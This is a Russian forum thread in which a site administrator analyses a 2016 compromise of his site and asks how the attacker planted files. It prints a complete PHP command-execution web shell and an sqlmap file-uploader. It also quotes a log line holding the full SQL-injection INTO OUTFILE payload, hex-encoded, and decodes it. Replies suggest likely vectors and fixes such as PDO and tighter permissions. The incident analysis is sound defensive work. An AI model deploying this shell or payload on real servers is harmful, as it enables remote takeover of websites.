133 / 133 / 48
Регистрация: 26.04.2013
Сообщений: 1,356
1

Взлом , внедрения вредоносного кода

25.10.2016, 00:19. Показов 4017. Ответов 10
Метки нет (Все метки)

Достался мне такой файл , после взлома сайта.
Объясните логику?
были залиты 3 файла
adminer-4.2.5.php,
tmpbnxly.php

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php $c=$_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
 
$z=@ini_get('disable_functions');
if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);
    $z=explode(',',$z);
    $z=array_map('trim',$z);
}else{
    $z=array();
}
$c=$c." 2>&1\n";
 
function f($n){
    global $z;
    return is_callable($n)and!in_array($n,$z);
}
 
if(f('system')){
    ob_start();
    system($c);
    $w=ob_get_contents();
    ob_end_clean();
}elseif(f('proc_open')){
    $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
 
    $w=NULL;while(!feof($t[1])){
        $w.=fread($t[1],512);}@proc_close($y);
}elseif(f('shell_exec')){
    $w=shell_exec($c);
}elseif(f('passthru')){
    ob_start();
    passthru($c);
    $w=ob_get_contents();
    ob_end_clean();
}elseif(f('popen')){
    $x=popen($c,r);
    $w=NULL;
if(is_resource($x)){
    while(!feof($x)){
    $w.=fread($x,512);
    }
}
@pclose($x);
}elseif(f('exec')){
    $w=array();
    exec($c,$w);
    $w=join(chr(10),$w).chr(10);
}else{
    $w=0;
}
print "<pre>".$w."</pre>";
 
?>


tmpuahhk.php

PHP
1
2
3
4
5
6
7
8
9
10
11
12
13
if (isset($_REQUEST["upload"])){
    $dir=$_REQUEST["uploadDir"];
if (phpversion()<'4.1.0'){
    $file=$HTTP_POST_FILES["file"]["name"];
    @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}else{
    $file=$_FILES["file"]["name"];
    @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
}@chmod($dir."/".$file,0755);
echo "File uploaded";
}else {
    echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/winitem.com/htdocs/engine/> <input type=submit name=upload value=upload></form>";
}


Подскажите каким способом могли быть внедрены файлы.
И как начать бороться

Добавлено через 4 минуты
судя по 3ему файлу там аплоадер, через него и были залиты файлы .
Я там понимаю это внедрен был через какую нибудь форму на сайте?
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
25.10.2016, 00:19
Ответы с готовыми решениями:

Избежать вредоносного кода из подгружаемого dom-документа
Такой вопрос... Пользователь указывает url, после чего через php подгружается dom документ...

Внедрение вредоносного кода в jquery.js
Здравствуйте. Сегодня обнаружил, что касперский ругается на загрузку вредоносного объекта с...

Как защитить htaccess от взлома и вживление вредоносного кода?
Как защитить htaccess от взлома и вживление вредоносного кода? Добавлено через 1 минуту...

Проекты внедрения ERP систем с открытым кодом - есть ли внедрения в России?
Добрый вечер. Интересует информация о внедрениях в России ERP-систем с открытым кодом, в идеале от...

10
Эксперт PHP
5750 / 4131 / 1506
Регистрация: 06.01.2011
Сообщений: 11,279
25.10.2016, 07:04 2
Цитата Сообщение от maruo Посмотреть сообщение
Я там понимаю это внедрен был через какую нибудь форму на сайте?
Скорее всего. Хотя есть ещё вариант -- через команду базы SELECT ... INTO OUTFILE. Но обычно она недоступна.
0
133 / 133 / 48
Регистрация: 26.04.2013
Сообщений: 1,356
25.10.2016, 07:21  [ТС] 3
Para bellum, А что вы знаете о sqlmap? Я так понял , позже буду логи читать, но кажется это было сделано при помощи залитого шеллла, ссылка на статью .
Судя по статье ситуация идентичная. на сайте нету форм для загрузки файлов, но есть пару инпутов тестовых, и собсвеннно есть иньекция не отрицаю

У меня лишь остался вопрос, а как собственно он запускал эти залитые файлы, ибо если обратиться через url site.ru/filename.php то выдаст 404
0
Эксперт PHP
5750 / 4131 / 1506
Регистрация: 06.01.2011
Сообщений: 11,279
25.10.2016, 07:50 4
Цитата Сообщение от maruo Посмотреть сообщение
А что вы знаете о sqlmap?
Мало что. Не работал с ней. Но если есть дыра на сайте -- можно и вручную её найти, если целенаправленно Ваш сайт взломать пытались, а не просто он попал под раздачу.
0
209 / 191 / 49
Регистрация: 15.03.2016
Сообщений: 1,205
26.10.2016, 02:02 5
Цитата Сообщение от maruo Посмотреть сообщение
Подскажите каким способом могли быть внедрены файлы.
И как начать бороться
через дыру в джумле, или WP, или любую другую получили шэлл или фтп и закачали
для начала можно прочекать на руткиты, потом на вирусные файлы (есть чекалки всякие)
0
2372 / 2242 / 578
Регистрация: 27.05.2011
Сообщений: 7,694
26.10.2016, 14:26 6
Цитата Сообщение от полудух Посмотреть сообщение
через дыру в джумле, или WP
Точно. Сам на практике сталкивался, как опасно не обновляться. Все дыры в открытом виде описаны в сети, кто угодно может попробовать через них повредоносить.
0
133 / 133 / 48
Регистрация: 26.04.2013
Сообщений: 1,356
26.10.2016, 15:51  [ТС] 7
Нашел как ломанули, sql иньекция с помощью такого запроса был создан файл.
Был выполнен /user/76561198005524253&page=1' LIMIT 0,1 INTO OUTFILE '/home/www/winitem.com/htdocs/engine/tmpuahhk.php' LINES TERMINATED BY 0x3c3f7068700a69662028............
После чего уже через залитый загрузчик залил остальные файлы... и поломал систему
SQL
1
5.18.174.107 [url]http://winitem.com[/url] - [24/Oct/2016:22:15:45 +0300] "GET /user/76561198005524253&page=1%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27%2Fhome%2Fwww%2Fwinitem.com%2Fhtdocs%2Fengine%2Ftmpuahhk.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d2f686f6d652f7777772f77696e6974656d2e636f6d2f6874646f63732f656e67696e652f3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20%20AND%20%27sJdw%27%3D%27sJdw HTTP/1.1" 302 5 "-" "sqlmap/1.0.10.54#dev (http://sqlmap.org)" 0.143 unix:/var/run/php5-fpm.sock -
Запрос в hex
перевел его получилось как раз то что было залито

PHP
1
2
3
4
5
6
 <?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/home/www/winitem.com/htdocs/engine/> <input type=submit name=upload value=upload></form>";}?>
 
 
 '
'
0
Эксперт PHP
5750 / 4131 / 1506
Регистрация: 06.01.2011
Сообщений: 11,279
26.10.2016, 15:57 8

Не по теме:

Цитата Сообщение от maruo Посмотреть сообщение
INTO OUTFILE
Везучие они. Я недавно так и не смог создать файл -- не нашлась папка подходящая. Таким образом пришлось сайт оставить и не ломать.
Не взломщик, если что, а ломал чисто по идеологическим причинам. :D



А права на engine какие?
0
133 / 133 / 48
Регистрация: 26.04.2013
Сообщений: 1,356
26.10.2016, 16:01  [ТС] 9
Para bellum, да там и проблема с правами была еще везде 777 стояли)
Как раз на след день и ломанули когда права на папку изменили на 777 из за того что ngnix ругался на то что директория недоступна
0
Эксперт PHP
5750 / 4131 / 1506
Регистрация: 06.01.2011
Сообщений: 11,279
26.10.2016, 16:10 10
Вообще раздолье. Ещё удивляет, что на хостинге выборка INTO OUTFILE разрешена.
Надеюсь, что сильного ущерба Вам не нанесли. Зато из ситуации выводы сделаете и не попадётесь на более крупном проекте.
0
133 / 133 / 48
Регистрация: 26.04.2013
Сообщений: 1,356
26.10.2016, 16:15  [ТС] 11
Para bellum, Ну ущерб не мне принесли, я разгребаю это дело теперь, закрываю уязвимости. А ущерб в пределах 50к нанесли)
Переписал на PDO права на 644 выставлены.
что на хостинге выборка INTO OUTFILE разрешена.
ну у них сервер выделен свой, там не хостинг
0
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
26.10.2016, 16:15
Помогаю со студенческими работами здесь

Осторожно новичок! Попытки внедрения JS кода в структуру сайта
Всем привет. Нужна консультация. Есть текстовое поле, в котором введённые данные отобразятся...

Как защитить свои файлы с данными от внедрения исполняемого кода?
Всем привет! Наткнулся в интернете на такую вещь как &quot;джоинеры&quot; - то есть склейщик файлов,...

Взлом простейшего кода
Вот написал предельно простую программку которая при вводе пароля выдает некоторый код. И появился...

Взлом ларавель путём встраивание кода в jpg
Заинтересовался одним проектом на ларавель, хочу к ним попасть стажером. В качестве портфолио...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
11
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2023, CyberForum.ru